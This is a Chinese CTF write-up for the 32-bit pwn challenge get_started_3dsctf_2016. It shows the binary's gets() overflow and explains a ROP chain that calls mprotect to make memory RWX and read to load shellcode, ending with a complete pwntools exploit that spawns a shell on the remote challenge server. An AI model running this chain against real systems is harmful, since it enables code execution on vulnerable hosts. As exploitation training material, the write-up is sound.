本文通过此题主要记录修改 .bss 为 RWX 使其绕过 NX 保护的方法
使用 checksec 可以发现,仅有一个禁止栈执行
1 2 3 4 5 6 7
| [*] '/home/zera/Desktop/get_started_3dsctf_2016' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
|
IDA 反汇编可以得到以下伪代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| int __cdecl main(int argc, const char **argv, const char **envp) { char v4;
printf("Qual a palavrinha magica? ", v4); gets(&v4); return 0; }
void __cdecl get_flag(int a1, int a2) { int v2; int v3; unsigned __int8 v4; int v5; unsigned __int8 v6;
if ( a1 == 814536271 && a2 == 425138641 ) { v2 = fopen("flag.txt", "rt"); v3 = v2; v4 = getc(v2); if ( v4 != 255 ) { v5 = (char)v4; do { putchar(v5); v6 = getc(v3); v5 = (char)v6; } while ( v6 != 255 ); } fclose(v3); } }
|
在 main 中可以发现存在溢出,在此过程中我们可以观察到程序的函数列表存在有mprotect以及read函数
同时我们考虑的是将.bss的权限进行修改为RWX,正好需要用到mprotect以及read函数
1 2
| int mprotect(const void *start, size_t len, int prot); ssize_t read(int fd, void *buf, size_t count);
|
int mprotect(const void *start, size_t len, int prot);
第一个参数填的是一个地址,是指需要进行操作的地址。
第二个参数是地址往后多大的长度。
第三个参数的是要赋予的权限。 # prot = 7 时为 RWX
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
ssize_t read(int fd, void *buf, size_t count);
fd 设为0时就可以从输入端读取内容 设为0
buf 设为我们想要执行的内存地址 设为我们已找到的内存地址0x80EB000
size 适当大小就可以 只要够读入shellcode就可以,设置大点无所谓
同时对应的两个函数的参数均为三个,对应需要有三个pop来平衡栈,对应的需要使用到ROPgadget
1
| ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret' | grep "pop"
|
上述可以过滤出程序中带有的pop,ret的组合

找到对应的pop * 3 + ret的地址后进行编写对应的Payload,如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| elf = ELF("./get_started_3dsctf_2016")
mprotect_addr = elf.symbols['mprotect'] read_addr = elf.symbols['read'] bss_addr = 0x080ebf80 pop3_ret = 0x0809e4c5
mem_addr = 0x080eb000 mem_size = 0x1000 mem_proc = 0x7
payload = cyclic(0x38)
payload += p32(mprotect_addr) + p32(pop3_ret) payload += p32(mem_addr) + p32(mem_size) + p32(mem_proc)
payload += p32(read_addr) + p32(pop3_ret) payload += p32(0) + p32(mem_addr) + p32(0x100)
payload += p32(mem_addr)
|
上述过程中在溢出后,将会执行mprotect以及read函数,将.bss进行修改为了RWX,并读入构造的shellcode,将对应的返回地址设置为shellcode
需要注意的是read执行过后,需要将对应的返回地址进行修改为mem_addr,以便完成后面对应shellcode的读入与执行

完整EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| from pwn import *
context.log_level = 'debug'
io = remote("node5.buuoj.cn", 29859) elf = ELF("./get_started_3dsctf_2016")
mprotect_addr = elf.symbols['mprotect'] read_addr = elf.symbols['read'] bss_addr = 0x080ebf80 pop3_ret = 0x0809e4c5
mem_addr = 0x080eb000 mem_size = 0x1000 mem_proc = 0x7
payload = cyclic(0x38)
payload += p32(mprotect_addr) + p32(pop3_ret) payload += p32(mem_addr) + p32(mem_size) + p32(mem_proc)
payload += p32(read_addr) + p32(pop3_ret) payload += p32(0) + p32(mem_addr) + p32(0x100)
payload += p32(mem_addr)
io.sendline(payload)
shellcode = asm(shellcraft.sh(),arch='i386',os='linux') io.sendline(shellcode)
io.interactive()
|